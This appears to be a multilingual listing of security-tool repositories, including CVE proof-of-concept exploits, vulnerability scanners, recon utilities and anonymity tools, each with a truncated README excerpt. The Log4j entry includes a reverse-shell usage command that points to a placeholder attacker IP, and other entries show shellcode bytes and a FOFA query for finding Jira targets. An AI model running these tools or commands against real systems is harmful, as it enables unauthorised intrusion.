CVE-2022-2414

EN GenXMLExternalEntityExploit 는 XML External Entity XXE 취약점 악용을 시연하기 위한 PoC 스크립트입니다. 이 스크립트는 XML 페이로드를 사용하여 대상 서버에서 민감한 파일을 읽습니다. 보안 테스트, 침투 테스트 또는 교육 목적으로 유용할 수 있습니다. 기능 지정된 서버에 조작된 XML 페이로드를 전송합니다. XXE 취약점을 악용하여 서버 파일을 읽습니다. 대상 URL과 페이로드 데이터를 쉽게 사용자 정의할 수 있습니다. 사용 방법 1. 저장소 복제 git clone...

pyshell2bin

pyshell2bin Exploit과 shellcode를 다루는 일을 한다면, shellcode가 무엇인지, 어떻게 처리하는지 이미 알고 있을 것이다. 때로는 C, Perl, Python 등으로 작성된 exploit에 포함되어 있기도 하다. 보통 이런 형태다: payload = b"xbfxabxd0x9ax5bxdaxc7xd9x74x24xf4x5ax2bxc9" + "xb1x45x83xc2x04x31x7ax11x03x7ax11xe2x5ex2c" + "x72xd2xa0xcdx83x85x29x28xb2x97x4dx38xe7x27" +...

osueta

/ \ / / | || | | | ' / - ' \ \ \ | /| ./||||//||| || | | | | | | | | | || -/ - '| | || ' \ || | ' / - '/ | | / \ ' \ ///|| ||||,||||| ,||/||| | /| || | | | | | | | ' | | ' / | / \ | / / | / / || ||||||||, | // \|\,|\ |/ What's OSUETA? Osueta it's a simple Python2 script to...

huntr-com-bug-bounties-collector

Сборщик баг-баунти с huntr.com Новый сборщик баг-баунти уязвимостей Требования Chrome с графическим интерфейсом Если у вас возникли проблемы с выполнением скрипта, проверьте статус функций GPU виртуальных машин, если они доступны. Chrome WebDriver Preview python3 main.py 2024-02-20 16:14:47.83618...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 사용법 For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPo...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 설명 이 간단한 Python 스크립트는 SMB 프로토콜을 사용하여 대상 IP 주소와 포트에 페이로드를 전송할 수 있게 해줍니다. 교육 목적으로 SMB 익스플로잇 페이로드의 사용을 시연하기 위해 설계되었습니다. 페이로드는 특정 바이트 시퀀스를 포함하는 하드코딩된 SMB 메시지입니다. ⚠️ 중요 참고 사항 책임 있는 사용: 이 스크립트는 교육 목적으로만 제공됩니다. 승인되지 않았거나 악의적인 활동에 사용하지 마십시오. 페이로드: 스크립트에 포함된 페이로드는 샘플이며...

SQLiDetector

SQLiDetector Простой Python-скрипт с поддержкой профиля BurpBounty, который помогает обнаруживать SQL-инъекции основанные на ошибках путём отправки множественных запросов с 14 пейлоадами и проверки 152 регулярных выражений для разных баз данных...

Zerologon_CVE-2020-1472

Zerologon CVE-2020-1472 이 스크립트는 도메인 컨트롤러에서 Zerologon 취약점을 대량으로 확인하기 위해 제작되었습니다. 주의 Zerologon 취약점은 도메인 컨트롤러에 위험하므로, 프로덕션 서버에서 익스플로잇을 사용하지 마십시오. 인자 --ip CVE-2020-1472 확인을 위한 IP 주소 --file IP 주소가 포함된 파일 경로 --threads 스레드 수 --name NetBIOS 컴퓨터 이름, --ip 플래그와 함께 사용 예제 python3 checkcve-2020-1472.py ---ip...

N4xD0rk

N4xD0rk Перечисление поддоменов основного домена с помощью техники, называемой «Hacking with search engines». Установка Вы можете скачать последнюю версию N4xD0rk, клонировав репозиторий GitHub: git clone https://github.com/n4xh4ck5/N4xD0rk.git Установите зависимости через pip: pip install -r...

dotnetpaddingoracle

dotnetpaddingoracle .NET 웹 애플리케이션이 패딩 오라클Padding Oracle 취약점에 노출되어 있는지 확인하는 작은 스크립트입니다. 이 스크립트는 패치가 설치되었는지 여부만 확인하는 것이 아니라, 오라클이 실제로 존재하고 악용 가능한지 검증합니다. 사용법 dotnetpaddingoracle.py -h -t -b -d -s -p PARAMETER Burp request file Perform the padding Oracle attack on .NET web application positional...

CVE-2018-7211-PoC

CVE-2018-7211-PoC CVE-2018-7211의 PoC||GTFO 참조: https://membership.backbox.org/idashboards-9-6b-multiple-vulnerabilities/ 요구 사항 없음, Python만 필요 사용법 스크립트 실행 $ git clone https://github.com/bowline90/CVE-2018-7211-PoC.git $ cd CVE-2018-7211-PoC $ chmod +x PoCedcrypt.py $ .\PoCedcrypt.py string...

CVE-2018-2628all

CVE-2018-2628 취약점 일괄 탐지 스크립트 사용 방법 IP 형식: 192.168.31.1:443 192.168.31.100:443 url.txt로 저장한 후 같은 디렉터리에서 스크립트를 실행하면 됩니다. 출력 효과는 직접 주석 처리하세요! 다음과 같이 실행합니다: Deepin에서는 문제없었지만, win10의 Ubuntu에서는 작동하지 않아서 수정했습니다 3은 타임아웃 시간초 단위 python weblogicpoc-cve-2018-2628-update.py 3 weblogicpoc-cve-2018-2628-update....

CVE-2021-2109

CVE-2021-2109 CVE-2021-2109 базовый сканер Используйте с python3 cve-2021-2109.py URL...

noisy

Noisy Простой скрипт на Python, который генерирует случайный шум HTTP/DNS-трафика в фоне, пока вы занимаетесь обычным веб-серфингом, чтобы сделать ваши данные о веб-трафике менее ценными для продажи и повысить скрытность. Протестирован на MacOS High Sierra, Ubuntu 16.04 и Raspbian Stretch,...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC FOFA: body="JIRA" && body="2.0.50" Usage: python3 CVE-2023-26256.py -h...

Torward

Torward Torward — это улучшенная версия, основанная на скриптах torghost-gn и darktor, предназначенная для повышения анонимности в Интернете. Инструмент предотвращает утечку данных и принудительно направляет весь трафик с нашего компьютера исключительно через сеть Tor, обеспечивая высокий уровень...

url-status-checker

Status Checker URL Status Checker v2.1 Status Checker — это Python-скрипт, который проверяет статус одного или нескольких URL/доменов и классифицирует их на основе кодов состояния HTTP. Версия 2.1.0 Возможности Проверка статуса одного или нескольких URL/доменов. Асинхронные HTTP-запросы для...

whodunit

whodunit 인시던트의 배후로 가장 유력한 APT 그룹 식별 설명 이 프로그램은 사이버 보안 인시던트 보고서에서 해당 인시던트에 사용된 것으로 탐지된 MITRE ATT&CK 기법들이 포함된 보고서를 입력받아, 해당 인시던트의 배후로 가장 유력한 APT 그룹을 식별하려고 시도합니다. 설치 이 스크립트는 다양한 MITRE ATT&CK 기법과 그룹에 쉽게 접근하기 위해 enterpriseattack 모듈에 의존하므로, 스크립트를 사용하려면 먼저 이 모듈을 설치해야 합니다. 해당 모듈은 Python 3.6 이상 버전을 요구하므로,...

CVE-2022-4616-POC

CVE-2022-46169 유사 셸 설명 이 Python 스크립트는 CVE-2022-46169 취약점 악용 과정을 간소화하는 도우미 도구 역할을 합니다. HTTP 서버를 시작하여 들어오는 요청을 수신하고 사용자가 명령을 입력할 수 있는 간단한 인터페이스를 제공합니다. 입력된 명령은 대상 서버에서 실행되어 조작된 페이로드를 취약한 서버에 전송하고 실시간으로 서버의 응답을 관찰하는 과정을 자동화합니다. 이 스크립트를 활용하면 사용자는 조작된 페이로드를 취약한 서버에 전송하고 서버의 응답을 실시간으로 관찰하는 과정을 자동화할 수...

awsEnum

awsEnum Перечисление сервисов AWS без лишнего шума awsEnum — это скрипт на Python для перечисления сервисов AWS с использованием предоставленных учётных данных. :book: Содержание Содержание 1. Скриншот 2. Отказ от ответственности 3. Возможности 4. Предварительные требования 5. Как установить 6...